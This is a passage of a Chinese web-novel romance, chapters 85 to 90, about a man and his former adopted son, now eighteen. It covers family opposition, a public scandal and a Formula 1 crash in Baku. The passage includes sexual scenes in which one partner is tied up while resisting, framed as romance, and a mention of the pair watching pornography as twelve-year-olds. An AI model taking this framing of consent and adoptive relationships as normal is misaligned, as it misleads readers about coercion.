叶淮安的底线很明白,就是取萧家的女儿为妻,否则他一定要苏廷好看,毕竟是苏廷造成的这一切,让他年过半百还要被人戳脊梁骨。 他更没办法让苏廷静下心来听自己说话。 “我们在罗马不是好好的吗,怎么回来你就变了。”叶修明心都碎了,狠狠地砸着墙面。 苏廷的心跳仿佛漏掉一拍,在听见他的声音时差点没绷住,可最后还是忍了下来,不敢戳破现实的问题。 “你是不是听到什么风声了?”叶修明用恳求的语气说道,“我不可能跟其他人结婚,那都是他们在臆想。” 苏廷轻轻叹了一口气,又有点想不明白了。 刚才还决绝的、想要分手的心思,在听到叶修明说话后全都散了。 “明天你能来见我吗?” 苏廷说。 叶修明看了眼门外严防死守的阵容,咬着牙应下,“去家里?” 苏廷“嗯”了一声。 接下来,就是叶修明跟那群五大三粗的莽汉们斗智斗勇的时刻,他谎称骨折的右臂开始阵痛,那群人立马慌了,赶紧去摇人,只留下个看似机灵的守着叶修明。 这下就简单了,叶修明装作一副痛苦的样子走到车库,跳进一辆敞篷车,叶修明说:“给我打开大门,否则这条胳膊废了的话,叶淮安会把你扔去喂狗。” 那人明显错乱了,赶紧给叶修明开出条道来,大门缓缓升起,叶修明也消失在了夜色中。 叶修明到苏廷家比他们约定的时间更早,门打开后,苏廷都快惊呆了,说:“不是说好的明天再过来。” 激烈而强势的吻已经替叶修明回答了这个问题。 苏廷偷偷睁开眼,看着叶修明低垂的眉眼,不断后退。 苏廷想要挣扎,但他的力气早已不是叶修明的量级,被逼无路,最终倒在了床上。 小兔崽子上手就是脱衣服。 苏廷粗喘着气,有点难为情地说:“等一下,修明。” 叶修明的额头上已经覆满了层层叠叠的细汗,闻声有点哑火,胸中的火焰也有消退之势,他犹豫了几秒,最终用欲-火打败仅有的理智,抽出卫衣的帽绳,缠在苏廷的手腕上,打了个死结。 苏廷觉得他有点不对劲,扭动着,抵抗着,压下声来:“你绑我干什么。” …… 苏廷这时已经有些闹不动了,背后的薄肌上是数不清的吻痕,简直是骇人听闻。 叶修明依旧不发一言,直愣愣地把苏廷翻转过来,润了润唇后,令苏廷发出一声久憋在心里的喟叹。 这样蛮横而不讲理的体力,自己在三十出头的年纪都有点耗不起了,苏廷眼神晦暗地想,他可能真的没办法撑到萧叶声说的岁数。 “修明,你停一下,我有话想对你说。”苏廷忍着喉中的呻-吟,用膝盖顶了顶他的肩膀。 叶修明还是不想停,直到苏廷用抗拒的小腿把他一脚踢开,叶修明擦了擦嘴,笑道:“觉得我做的不好,我可以学。” 苏廷心说算了吧,就这粗糙的技术都能把人弄昏了头,以后还怎么得了。 他用眼神探向自己的手腕,“帮我解开,小畜生。” 乐得称作小畜生的叶修明依言照办了,向后退的时候,他还不忘舔了舔苏廷的锁骨,酥麻的感觉顿时侵蚀了苏廷的神经。 “别闹,我要跟你说几句正经的。” 苏廷随便给自己套了个长T,去书房取来几份文件,面对不解的叶修明,他也没卖关子。 “这份是无偿转让两亿的协议,我作废了,改成了股权认购协议,从这一刻起,修明,你就是我的股东之一。” 叶修明:“我没打算让你还。” 苏廷没理他的反对意见,接着说:“这是一份经过公证的遗嘱,在我死后,扉合将由你来继承,当然,周叙白那个碎嘴子你也能继承,毕竟……你是我的养子。” 叶修明觉得这一切都太不吉利了,脸上起了火,质问道:“你为什么这么咒自己?你的命也是我的,我不允许你提遗嘱的事。” 说罢,他就要上手,想把遗嘱撕掉。 苏廷:“你手上的这份是复印件,原件在我的律师那里。” 叶修明不解地问道:“为什么?你为什么要这么做?” 第86章 “我们要为以后的事早做打算,我比你大了整整十六岁,比你早走不是很正常吗。” 叶修明只是听着这话,都觉得刺耳,觉得这是苏廷在往他的心里扎刀子。 他说:“如果真有那么一天,我也会跟你一起走,所以你还想提这种假设吗。” “你……”苏廷身体微微颤抖,“这不是假设,是自然规律。” 叶修明却说:“你我在一起也算违反了自然规律,我们再反几次又能怎么样。” “叶修明,你原来是这么胡搅蛮缠的人。”苏廷捏着眉心,下颚线绷得很紧,似乎也对现在的境遇无所适从了。 他能把毕生的事业托付给叶修明,叶修明就不能体谅他这么做的苦心吗。 说到底,他是为了抗争萧叶声那些振聋发聩的言语。 “睡觉吧,修明,我有点累了。”苏廷走去洗漱,却不想叶修明又粘了上来,与苏廷严丝合缝地抱着。 许是刚才叫得嗓门太大,叶修明的声音有些许的哑涩,勾着苏廷的衣角,“以后不准再提这种事情,不然我不知道自己会做出什么事。” 苏廷向后轻拍着他的脑袋,“你威胁我?” 叶修明“嗯”了一声。 空气里阴湿黏腻,很快他们的身上就沁出不少汗水,小时候那个温恭谦顺的男孩,此时正拉着苏廷的袖口到淋浴间,他循循善诱地引苏廷褪去衣物,看着灿若珠宝的身体,脱口道:“确实跟我小时候梦到的一模一样。” “叶修明……你该不会那时候就——” 苏廷的嘴被生生地从后面捂住,清透的声音穿过花洒声,在苏廷的耳边炸开:“守着你这样的祸害,谁能忍得住呢。” “啊,原来是这样,”苏廷一笑,忍不住捶着叶修明的腹肌,“所以那五年我不养你,也是天经地义的。” 于是,苏廷迎来了晚上的第三次惩罚。 他看着镜中近乎妖媚的两具身躯,不禁感慨造化多弄人,本就毫无瓜葛的两个人,因为偶然的际遇成为父子,再到不分彼此的情人,就好像时钟一定会敲响凌晨十二点那么必然。 这一路的崎岖,和老天爷突设的路障,只会加速这种必然。 苏廷没能从胶着的战况里得到一丝的休息,还因为长时间保持同一个姿势而越来越疲累,他低低地求饶,却好像唤醒了叶修明身体里的莽兽。 因为叶修明知道,这一天,他得到了苏廷明码标价的爱。 是那个见叔叔的两倍。 仅此而已。 最后他们都筋疲力竭地躺在地板上,汗渍和水渍铺在身后,困乏得马上就要睡过去,没想到房门外已经站着一位不速之客。 叶淮安。 他想要打开苏廷的家门,简直如囊中取物,于是他就这样做了,这是一名做父亲的职责——他不能眼睁睁地看着叶修明再堕落下去。 没想到真实的场景远比他想象的要更加污浊,当他进淋浴间时,就看到赤身的两个人,虚虚地用浴巾搭住了关键部位,从狼藉的地面就能看出战况到底有多蛮烈,这让叶淮安的怒火达到了峰值,狠狠地攥紧了拳头。 “叶修明!” 他低声怒喝。 仿若被雷劈了的叶修明迅速爬了起来,发尾还在滴水,他不平道:“你怎么来了?!” “啪”的一声,叶修明的脸庞就出现了个大红掌印,也打醒了苏廷的梦。 苏廷毫不胆怯地起身,动作缓慢地用浴巾给自己裹了一圈,打了个小结。 他面露不屑,嗤笑叶淮安的不义之举,“谁能想到鼎鼎有名的叶淮安先生,竟然也会偷闯别人的家。” 叶淮安有着不怒自威的气质,闻声也不甘示弱:“那么商界精锐苏廷,又是怎么诱-奸养子的?” “爸,你说什么呢?苏廷是我非要抓着不放的,你有什么就冲我来。” 叶修明抢着说。 苏廷淡定地走到客厅,给自己点上根烟,烟雾不徐不疾地从他的齿缝中吐出,叶淮安的目光则一直跟随着他,苏廷眯了眯眼睛,再吸一口,吐烟,问他:“请问您看够了吗?看够了我要穿衣服了。” 叶淮安心想这真是个妖孽,难怪儿子完全把持不住,真够可恨的。 他在苏廷的身上找不到软肋,就开始攻击儿子:“叶修明!你和他在一起,休想继承我的财产!” 苏廷背对着他,正在给自己套叶修明的卫衣,听他一席话之后,只是淡淡地说:“没关系,叶修明有我的遗产可以继承。” 这是什么意思? 叶淮安怔愣了,半天未启唇齿。 “难道你的扉合将来要送给叶修明?”叶淮安道。 苏廷隔着浴巾给自己快速穿上深色裤子,一抽那浴巾道:“没错。” 而叶淮安这位亲生的爸还防着儿子,连信托都是有支取条件的。 这不得不令叶淮安感到一丝地怀疑人生。 叶修明也把那份遗嘱送到叶淮安的面前,说:“你看清了吗?你看清苏廷对我的真心了吗?!” “这不正好说明苏廷为了诱-奸你,不惜付出任何代价吗?”叶淮安说。 “爸,你用脑子好好想一想,这件事情的风险到底有多大,苏廷是在用命向我说‘爱’。”叶修明忽然觉得他没必要跟叶淮安解释这么多,污糟的眼睛看什么都是假的,他决定拉着苏廷的手离开这里,去哪里都好,叶淮安既然喜欢待在这里,就让他待着好了。 “小爸,我们走吧。” 苏廷轻笑:“这是我的家,我为什么要走,该走的是他。” 叶淮安深深地叹了口气。 他被那声“小爸”喊痛了。 “你为什么要让你的家人承受这些,你想过没有,以后我叶淮安的名字永远要跟苏廷这个睡养子的人绑定在一起,你让我跟你妈还怎么抬得起头?” 苏廷“哦?”了一声。 “叶兄,我苏某人在你眼里就这么饥不择食吗?”苏廷没有自贬,摆出事实:“想睡我床上的人能从金城排到罗马。” 叶修明面上有些异样,小声吐槽:“你还骄傲上了。” “能上你的只能是我。”叶修明当着他老父亲的面说道。 第87章 当知道儿子不是被“奸”的那个之后,叶淮安的心情一点都没有好受,而是在心里生出野蛮的怨恨,觉得数年前的领养行为是场孽缘,如果他当初没有屈于郑力的淫威,这一切都是另外的结局。 自己的好儿子,也不会被这么邪魅的人勾走。 叶淮安几乎绷不住泪眼,在苏廷的客厅里释放着情绪,哭得像个孩子。 苏廷似乎有了些许触动。 他当过叶修明的养父,知道父母为孩子所付出的那种心血,那是具象的,能用情感的厚度去衡量的。 所以他知道叶淮安一定恨透了他。 反观叶修明,则是有些无感。 他既然得到了苏廷的心,就不想再考究其他的、无关紧要的事情。 叶淮安与他的父子情早在七年前就断干净了,现下的哭泣更像是一场自我讨伐,与他无关。 可苏廷还是苦涩地一笑,说:“修明,跟你爸爸先回家吧。” 叶修明被拉走前死死地抱着苏廷,他斜睨着叶淮安:“让我跟苏廷讲几句话。” 这回轮到苏廷安抚他的情绪和心情,但是自己的谁去安慰呢? 他本来就悲观,一遇到点坎坷就想放手,只能身不由己地说:“修明,要不我们还是算了吧,我不能让你为了我和家庭决裂。” 叶修明好像对这个问题有所准备,眼里亮堂堂地说:“那我们就去国外,躲着一切,活成想要的模样。你也不用等来世,就可以变成一朵云,自由放肆地想做什么都行。” 他疯狂地吻着苏廷,可苏廷心里热,眼里却茫然一片。 苏廷还是送走了叶修明,在楼上看着叶淮安那辆劳斯莱斯呼啸着离开。 他把周叙白叫到了家里,开门就问:“西郊开盘后,扉合是不是就能起死回生了。” 周叙白进门就去冰箱给自己拿了瓶饮料,牛饮几口,说:“理论上,西郊就是扉合的‘概念’,只要能顺利完成,你只要在年报里无意间展示自己在西边拿的地皮就行了,所以,扉合不仅能起死回生,还能回春。” “所以……修明的钱能让西郊完工吗?” “基本上,而且多亏了他的钱,工期都大大地缩短了。”周叙白说,“虽然我不想承认,但是小叶子的确救了你我的命。” 苏廷忽然眼神坚定地看着他:“所以,扉合现在有没有我都没有本质区别,对不对?” 周叙白一听就知道他藏着什么心眼,立马站了起来:“你要跑?” 苏廷笑得勉强:“因为这里容不下我。” “是不是叶淮安给你说了什么?”周叙白道,“你别听他乱说话,他的立场跟你恰好是反的,所以说什么都只会刺耳。” “所以我得到你的祝福了?” 周叙白无可奈何地一笑:“苏廷,无论你选择谁,都会得到我的祝福。” 苏廷笑了笑:“原来被理解支持的感觉是这样的,我以为永远都得不到了。” “不过……”周叙白也在苦笑:“你是我的好朋友,所以会得到我无条件的支持,但是跟养子在一起这件事,人们的接受度不会太高,你要做好心理准备。” 叶淮安正在毫不掩饰地数落着叶修明。 “你和你那个妈妈一样,没什么心眼,最容易被人利用,这是爸爸最不想看到的。而且苏廷比你的段位高了不止一点,如果有一天你受伤呢?你让爸爸的心有多痛?” 叶修明:“你当初把我扔掉的时候,怎么不怕我受伤?” “那是爸爸逼不得已!”叶淮安椎心泣血道。 叶修明惨笑一声:“你就放我走吧。” “不行!你要答应我跟那个人断了!答应我跟萧叶声结婚才行!” “那你就把我杀了!” 叶淮安回家就把他控制了,院落里也出现更多的安保,没有叶淮安的允许,谁都不能放叶修明走,否则会死得很惨。 众人心照不宣,谁都不敢提叶修明被软禁的理由,即使这个理由已经成了金城所热议的话题。 人们顺着叶修明在F1赛后采访的信息,锁定了他与苏廷之间的秘事,并在无意间不停发酵。 消息已然下沉到每个角落。 在金城某个片区的微信群内,有人刷屏。 [小猪多多]:我觉得吧,这个苏廷一定在叶修明小时候勾引过他,不然怎么会发展成现在这样呢。 [Xanadu]:我同意,感觉挺恶心的。 [;D;D]:这就叫败类人渣啊,连自己儿子都不放过! [休]:就这还上市公司董事长?他是哪个公司啊,这股票赶紧给爷爷跌完吧。 [AAA建材王哥]:相差十六岁?!老牛吃嫩草! [小猪多多]:这个叶修明为什么会被勾引成功呢?他是傻子吗? [小猪多多]:职业生涯也不要了? 经常在片区群拼单买水果的财务总监一看跟自己的老板有关,立刻给周叙白截了张图,说:[怎么办啊老白,要不要提醒下苏廷?] 周叙白:[别了,以我对他的了解,看到这些讨论会立刻提分手的。] 可天下没有不透风的墙,当天傍晚苏廷在商超买蔬果的时候竟被人认出来了,那女孩指着他的鼻梁说:“这不是睡自己养子的苏廷吗。” 苏廷规着脸,有些不可思议地看着她。 “你就算有上市公司又能怎么样呢,还不是道德品性败坏,人品低劣!” 苏廷当晚内心漆黑一片地坐地上喝了一整瓶威士忌,细细咀嚼着人们对他的评价,深感这个宇宙都与他对着干了。 这样也好,能帮他认清现实,残酷中还带着点黑色幽默。 第二天,周叙白率先坐不住,他看着一路跌停的股票,直奔苏廷家里,一进门就闻到一股烈酒的辛辣味,不由得捂住了鼻子,到卧室去捞人。 舆论再照这样下去,即使西郊历经五年的时间终于改造成功,资本市场也不会有他们的一席之地。 周叙白太懂这帮资本的闻风而动了。 “你必须做个决断。” 事情已经影响到了扉合的未来,才刚表态支持的周叙白也有所动摇,过来逼苏廷拿出个说法。 没想到苏廷是个磊落干脆的人,他酒气未散,醉醺醺地说:“那我就跟他分手,行了吗?” 第88章 苏廷斜靠在床头,上身只穿了件黑色衬衫,由于昨晚太混乱,连扣子都没系,露出匀称而利落的肌肉线条,腰腹处没有一丝冗余,收束利落,周叙白咬了下后槽牙,心想真的不怪叶修明没有定力。 周叙白一听他真的要分手,说:“小叶子能同意吗?” “我的方式他没办法拒绝,不同意也得同意。”苏廷立刻打电话让律师起草一份单身声明,在说了细节之后,突然道:“保留对传播不实消息等侵权行为的法律追诉权。” 那位律师常年处理苏廷的私人事宜,对他的生活知之甚多,苏廷把扉合写进遗嘱里的时候他就笃定了俩人的关系。 所以律师提醒他:“这份声明必须禁得起推敲才行,否则势必会留下把柄,你确定还要这么写吗?” 苏廷凄凄惨惨地一笑:“其实这个声明也是我单方面的分手信,修明聪明的话会懂的。” 当叶修明还在与叶淮安打心理战的时候,那天忽然看到叶淮安喜上眉梢,笑得比春色还要绚烂。 他拿着手机,送到叶修明的眼前,“看看,苏廷刚刚发了什么?” 苏廷从不玩微博,也很少公开自己的动向,他这回破天荒地请别人给他注册了黄V,在线几分钟就发布了那条律师看过的单身声明。 他言辞平淡地说自己从未与养子叶修明有不道德的关系,请大家停止揣测和对无辜人员的攻击。 叶修明看红了眼睛。 叶淮安:“这就是苏廷,一个一到关键时候就会独善其身的男人,你为这种人跟家里做对,为了他的自由不要爸爸的,简直不分好歹!” 他看叶修明眼神木然地盯着正前方,继续说:“你才十八岁,人生刚刚开始,这种人也配不上你的喜欢,你就当过去的时间喂了狗,好不好?” 时间一点点过,墙上的时钟终于响了。 “我要给苏廷打电话,你别拦着我!” 叶修明确实才十八岁,所以他做不到忽视内心的感受,更做不到忘了苏廷。 他才不想管网上的那些言论,别人说就任他们去说,这是别人的自由,但是感情是他自己的,他要对得起自己的心。 电话拨过去的时候,他也没想到苏廷真的会接。 可苏廷声音轻松,像是无事发生,说:“修明啊,有什么事,快说,一会儿我还有几个会。” 叶修明狠狠砸着墙壁,把叶淮安吓得一抖。 他压低声音,乖觉而狠厉,“小爸,你要不要看看今天你在网上都发了什么,我真想干死你!” 苏廷用气音“哼”了一声,“修明,你最好保持这种愤怒,因为我们之间除了这个就什么都没有了。” 叶修明:“你真的要为了无关紧要的言论伤害我吗?” 苏廷:“嗯,我们到此为止吧。” “苏廷!” 叶淮安看完叶修明打电话的模样,激动得差点忘了自己姓什么,他说:“现在郑力的余党已经基本都被控制,外面风平浪静,爸爸打算送你到国外去散散心,离国内这些烂糟的事情远一点。” 叶修明定定地看着他爸,说:“好,蒙扎完了是巴库,我也该动身了。” 那是遥远的外高加索地区,听裴安说车队已经在阿塞拜疆聚集了,因为叶修明的离队,久久没能确认是谁参赛。 这站跟蒙扎在同一月份,他们确实很少出现在这么密集的赛事中车手擅自离队的的情况。 叶淮安倒是对叶修明的这一兴趣爱好表示赞许,觉得也能为老叶家长脸,所以就同意了让他去。 临行前,他又试着给苏廷打了几个电话,可惜都让他直接按断了。 他不死心地给苏廷发了消息。 ——我可以在巴库等你,那里没人认识我们。 随即他还把酒店地址发给苏廷。 苏廷微动眉眼,放下手机,继续听几家建材合作商的老板吹牛,他想,与叶修明不能发展为暗约偷期,因为总会被人发现点眉目。 他早就失去了爱人的能力,为什么次次说都没人信呢。 苏廷忽然想到那份信托的无偿转让协议,上面曾说“乙方出于礼节,将向甲方叫老公,直到他听腻为止。” 不过是小孩子玩闹的脾性。 感情远比叫这几声“老公”要复杂,也不能通过镜头前的一句“我爱你”证明,漫长的人生里,只有真爱是永远会死灰复燃的。 他可以推开巴库那家酒店的房间门,之后是激情四溢的床戏,然后呢? 然后叶淮安第二次传播他的艳照吗?? 这样想,苏廷的喉间突然苦涩无比,虚与委蛇地继续跟那些老板们喝酒。 巴库那条赛道的特色在于他是一条街道赛道,观众只能阳台助威,穿梭于巴库老城的城墙与现代建筑之间,拥有漫长的大直道和狭窄的街区弯道,也有全年最窄的车道,仅有七米,比赛极具观赏性和意外性,许多车队第二圈或第三圈就放弃了。 同时,没有车手能以领先第二名超过四秒的优势夺冠。 这几天叶修明都在模拟器上训练,模拟器会精准复制巴库赛道的每一个弯角、路肩、坡度、刹车点,甚至包括护栏的位置。 裴安问他训练的状况,叶修明道:“全油门路段和重刹区太多了。” “脖子疼不疼?”裴安也被巴库的虚拟赛道整崩溃了,揉了揉脖子上的肌肉。 叶修明在获得超级驾照前的训练强度比这大多了,所以摇了摇头,说:“我挺期待巴库的。” 那家酒店就在赛道中间,隔窗能够看到赛况,如果苏廷能赶过来,他这辆红色跑车可是最显眼的。 裴安知道苏廷单方面跟他分手的事情,害怕叶修明再做出些奇怪的举动,说:“巴库最重要的是跑完,可不是争第一,你有话可以换个途径说,再说苏叔叔不一定喜欢你当众向他施压。” 叶修明:“如果你被人当众说爱,会不会很开心?” 裴安说:“我当然开心了,可他不是普通人,他是苏廷,他所经历的事情不允许他享受被人知道私生活,为什么我都懂的道理,你却不懂呢。” 第89章 这时,一道晴天霹雳落下,击得叶修明浑身发颤。 裴安看他不对劲,就问他怎么了。 叶修明:“之前温言玉找了个记者拍我俩半裸的照片,后来相机被叶淮安收走了。” 裴安:“啊?!怎么会这样!所以叶淮安一直抓着你们的把柄,而苏廷也知道?” 叶修明咬着牙,“看来是这样。” 与此同时,遥远的金城机场,出现了一位清高俊逸的身影,他拖着行李箱,站在机场的大屏前,嘴角溢出一抹微笑。 裴安:“难怪他会在网络上发那份单身声明,目的就是让叶叔叔放下心来。” 叶修明:“所以他只是为了做这些事情给我爸看?不是真的想分手?” “不好说,他可是苏廷啊,他身上发生什么事情我都不奇怪。” 他们走到体能训练场,做最后的训练,第二天下午就是正式比赛,他们要打起十二分的精神来。 裴安他俩正在桑拿房里骑自行车,帮助快速排汗,裴安一边冲刺一边说道:“但兄弟,我觉得你还是凶多吉少,苏廷不可能冒着那么大的风险再跟你一起了,他不可能忍受自己再一次遇到什么艳照门。” 叶修明深喘着,汗水簌簌而下,仿佛默认了这种说法。 裴安呼呼哧哧地问道:“所以你打算怎么办?” 叶修明的字典里没有“放弃”这两个字,只说:“等巴库拿了冠军再说。” 裴安仰天一啸:“呜,我也想跑巴库的真赛道!” 叶修明笑了笑:“下回一定让给你。” “让我不行,我要靠实力赢你。” “那我们就……走着瞧。”叶修明笑道。 这一晚,叶修明睡得辗转反侧,怎么都睡不踏实,可能与巴库的低海拔有关,更多的,则是规劝自己从苏廷的旋涡里暂时走出来。 中午吃了饭,车队就向赛道进发,并在下午两点左右进了场。 叶修明将车开入库后,技师团队和数据工程师就开始不停地调校、生成报告,在简短地与他们开过会之后,叶修明就开始疯狂地补水,等待轮胎预热到理想的温度。 安装完车轮后,叶修明走出维修区,缓慢地走他的出场圈,通过频繁的蛇形走位让轮胎均匀受热。 等到达出发格后,叶修明已经能听到路边阳台上的欢呼声。 他屏气凝神,挂上空档,与工程师做最后的通讯确认,并按照指示,检查所有的系统。 黄昏的金色光芒为巴库老城赭色的城墙镀上一层暖边,但赛道上的空气却冰冷而紧绷。引擎的咆哮在狭窄的街道间被无限放大,如同困于石谷中的猛兽,24头机械巨兽正为最后几圈的搏杀倾注全力。 叶修明观察着周围阳台上的人影,试图在里面看到苏廷。 很快比赛开始了。 叶修明的红色赛车处于领先集团,已然撕破风声,紧紧咬住前方如同蓝色闪电的红牛赛车,DRS尾翼在直道尽头反复开合,如同毒蛇吐信。 每一次重刹进入八号弯,碳纤维刹车碟都爆发出刺眼的红光,轮胎锁死的一瞬,青烟混合着焦糊味瞬间被气流撕碎。 中游的竞争更为激烈,有两辆车在连续弯中简直是轮对轮,侧箱与侧箱几乎擦出了火花。 无线电里工程师的提醒已被肾上腺素过滤成模糊的背景音。 然后,是十六号弯——那个以狭窄和无情著称的右手弯。 还处于争夺中的叶修明,试图在外线寻找一丝超越红牛的机会。他的赛车紧贴右侧护墙,榨取着最后一毫米的赛道极限。 就在他紧贴护墙的一瞬间,他似乎在那栋酒店的楼下,看到了苏廷正在阳台上为他加油,因此稍微晃了晃神。 出弯的瞬间,后轮不可避免地碾上了高耸的路肩。 一切都在百分之一秒之内失控。 那一瞬间剧烈的弹跳,让已经承受巨大下压力的赛车瞬间失去了地面的依附。叶修明的赛车像一匹被绊倒的烈马,车头猛地向下一沉,整个车身陡然向左偏转。 时间仿佛被拉长。 它变成了一块被巨力抛出的金属疙瘩,横着砸向赛道另一侧的护墙。 先是左后轮猛地撞上屏障,巨大的冲击力瞬间将赛车弹向空中。 接下来的一幕让所有的喧嚣戛然而止。 赛车在空中完成了可怖的、慢动作般的侧翻。 它划出一道笨重而绝望的弧线,底盘彻底暴露在夕阳下,四轮疯狂地空转着,最终重重地以倒扣的姿态砸在沥青路面上,发出一声令人心悸的、混合着金属撕裂与碳纤维破碎的巨响。 无数的碳纤维碎片如烟花般炸开,沿着赛道溅射开来。巨大的惯性推着这具倒扣的残骸,一路擦着火花,尖叫着滑向跑道尽头。 “是上回在蒙扎夺冠的叶!他翻车了!”解说员的声音充满了惊恐,声量陡然增高。 全场惊呼声中,黄旗旋即挥动,紧接着是触目惊心的红旗。比赛即刻中止。 救援车辆、医疗团队,还有裴安以最快速度冲向事故点。整个世界仿佛都屏住了呼吸,所有人的目光都聚焦在那片寂静得可怕的废墟上。 几秒后,一只手从扭曲的驾驶舱残骸中艰难地伸了出来,朝着天空,用力地挥了挥。 一片压抑的死寂之后,阳台上终于爆发出一阵如释重负的、雷鸣般的掌声。 然而叶修明的情况还需进一步确认,他被艰难地从狭窄的驾驶舱中拖了出来,全身的骨骼似乎变软,被疾驰的救护车带走了。 F1那惊人的速度,一旦碰撞或侧翻,将是灾难性的伤痛。 叶修明感到浑身上下都被挪了地方,疼得他不敢喘气,医护人员迅速给他戴上心电监护仪,初步确认他有没有脑部损伤。 裴安看他糟糕的样子,在一旁哭得不像个人,叶修明的嘴唇微动,指着丧气的裴安,说:“你竟然给我哭坟。” “那几个弯道你训练从没出过问题,为什么今天会撞护栏。” 叶修明苦涩地说:“因为我好像在观众席上看见苏廷了。” “他怎么可能跑到巴库来找你!”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 【终章】 第90章 是啊,他怎么会看自己。 他从十一岁就认识苏廷,从自己被他扔到寄宿学校起,就知道他是个怕麻烦的人,而自己这个制造麻烦的来源,注定得不到他的青睐。 在剧烈的疼痛下,叶修明逐渐昏迷过去,就算裴安大声喊他回来也无济于事。 就近,他们被送至AMC医院,叶修明被推进了抢救室。 正当裴安踌躇不安地时候,除了留下来善后的工程师,车队的人基本上都到了,车队经理是个明眼人,叶修明无论是弯道还是直道,技术都是最好,超过红牛那个只是时间问题。 他是Alpine的王牌。 “医生怎么说?”经历焦急地问道。 裴安的心都乱了:“还没看到医生。” “我是说去抢救之前,叶的状态怎么样?”经理急切地问。 这时,有个清越的声音响起,讲的是中文:“裴安,快说。” 裴安惊得快掉了下巴,他指着声源,发出一声类似于动物的惨叫,“你怎么来了?!” 来人正是一脸平淡的苏廷,车队的人看见这个极具有东方魅力的面孔后,猜了个大概,有人小声说:“他可能就是叶的养父。” 苏廷轻轻颔首:“是我。” 裴安使劲拍了拍自己的脸,回答了他刚才的问题:“修明在救护车上还算稳定,只是说着说着就昏了过去。” 一股剜心的疼从苏廷的心脏向外蔓延,让他有些重心不稳,微微颤动。 “他一定会没事的对吗?”苏廷不知道向谁讨教这个答案,竟朝车队经理投去询问的目光。 苏廷当时正在酒店的露台看着那个红色的炫影从面前闪过,透过头盔,他看不见叶修明的脸,可是还没过一秒钟,车辆就翻转开裂,他当时直接跳下来看看情况的心都有了。 裴安问苏廷:“你这次过来,就不怕得罪叶淮安,让他把你跟修明的照片再发到网上去吗?” 苏廷惨然道:“我既然来了,就做好了这个准备。” 裴安吓得嘴唇微张,“你竟然会为了修明做这种妥协和让步,这伤害的可是你自己啊。” 苏廷:“我爱修明,身败名裂也不怕。” 裴安的眼神这才低垂了下来,为自己看低苏廷而难过。 他们一齐看向抢救室的方向。 历经两个小时的救护,叶修明的生命体征终于平稳,车队在得知这个消息后,无不欢欣鼓舞,笑逐颜开,他们一群人乌泱泱地挤在叶修明的病房里,把苏廷都挤在角落里。 裴安看不下去了:“要不让苏一个人守着他吧。” “哦,对,你是他的养父嘛。”经理招呼着人走了,临行前还揍了裴安一拳。 裴安看了眼虚弱的叶修明,再看了眼苏廷,说:“苏叔叔,我先走了。” 苏廷“嗯”了一声。 “苏叔叔……你不会再离开他了对吧。” “我跟修明喝过合卺酒,同甘共苦,患难与共,至死不渝。” 听到这,裴安哭了,苏廷的眼尾也有些泛红,巴库不是Alpine的福地,却是叶修明的,他应该为两人的爱情致敬。 “对了,我一直有个问题想问你,修明十二岁那年,你俩在躲被子里到底看什么呢。” “啊哈哈哈哈,”裴安有点不好意思,“其实是GV,是修明问我‘最后一步’到底是什么,所以我们就看到那去了。” 这话让苏廷着实酸了一会儿,迅速打发他走了。 他抱着臂,翘着二郎腿,脚尖几乎沾到了床边,脸上有点挂不住。 叶修明装了那么多次病,这次真真实实地病了后,苏廷竟然并不那么难受。 “你为什么要问裴安‘最后一步’是什么?” 苏廷趁他昏迷,说出自己的不忿。 “你们才十二岁,懂什么?” 苏廷翘起的脚尖故意蹭了蹭叶修明的被子,如果叶修明真的醒过来,他能忍住不打死他吗。 叶修明活动了下食指关节,虚虚地移动了一下。 苏廷准确捕捉到了他的醒转,赶紧放下二郎腿,朝他靠过去,俯身摸着叶修明滚烫的额头。 “修明,”苏廷小声道,“我在酒店什么都准备好了,你竟然出事。” 这句话如一条坚硬的绳索,募地将叶修明的神识从混沌里拉了出来,他睁大眼睛,不可思议地看着苏廷,疑问道:“我死了?” 苏廷苦笑:“你敢。” 叶修明自言自语:“不可能,我没死,是看不见苏廷的。” 苏廷没忍住,轻轻扇了扇他的脸颊,“我是比你大,但你也不能咒我早死啊。” 这下叶修明才终于确信苏廷真的来了,攥着他的手说:“我出事你才买的机票。” 苏廷摇了摇头。 “我在赛道上看见的人真的是你。” 苏廷一惊:“你看到我了?那么高速度的比赛你竟然看路边?” 他还想拍打叶修明,但他的伤势不明,贸然打下去不知道会发生什么,只好嗔道:“难怪你会出事。” 叶修明:“哪怕只有万分之一的可能你会出现在我的视线里,我也要试一下。” “疯子。” “小爸,我想亲你。” 叶修明动着僵硬的手指,插-入苏廷的领结后缓缓下拉,直到他心满意足地吮吸和啃咬,逐渐与苏廷融为一体。 很快,叶修明的侧脸就被一颗泪水打到了,继而是更多的泪珠,让他的脸湿漉漉的。 叶修明把苏廷缓缓推开,看他到底怎么了。 原来苏廷也有这么动情的时候,泪水像断线的珍珠簌簌落下,连他都觉得有点不好意思了。 这一路他们来得太过不易,所以苏廷有权哭一场。 叶修明抱着他的脑袋贴在自己的胸口,下巴在他柔软的头发上摩挲着,说:“苏廷,我爱你,这次你别想再跑了。” 苏廷伏在他的胸口,竭力释放着难以言表的心酸和难受,“你爸爸饶不过我的,国内我的新照片又要满天飞了。” 叶修明:“那些照片里面还有我,他发之前会衡量的,毕竟对他来说面子比什么都重要。” 叶修明有些兴奋地拉着他的手:“你真的会为我付出这么多?” “我能为你付出多少,取决于你接下来的问题怎么回答。”苏廷起了玩心,想故意逗逗他。 叶修明“啊?”了一声,说:“你问吧。” “你十二岁,为什么要问裴安‘最后一步’是什么,又为什么跟他一起看GV。” 叶修明“噗嗤”一声就乐了,笑得他五脏六腑都有点疼。 “别笑,快回答我。” 叶修明没把拉着他的手放开,脸色像雨后初升的暖阳,“我不小心看到了裴星遥给你发的消息,问你为什么不给他‘最后一步’,所以才问的裴安,看的视频。小爸,说来也是因为你。” 苏廷这才恍然大悟,说:“你竟然看我手机。” “你身上我哪没看过,手机又有什么不能看。” 叶修明胡搅蛮缠地说。 不过话说回来,叶修明这辈子就只看过苏廷那一次手机,竟误打误撞让苏廷成了醋缸。 在医院的这段时间,国内的目光也聚焦在F1新星身受重伤的新闻里,叶淮安自然也坐不住,迅速起身到达巴库,落地就去了医院。 令他大为震惊的是,苏廷竟然先他一步到了,还日夜不停地守在叶修明身侧,比他这位生身父亲做得还要尽心竭力。 叶淮安很想指着苏廷的鼻子骂几句,但一看到叶修明虚弱不堪地躺在床上就悲恸欲绝,看起来人一瞬间仿佛就老了十岁。 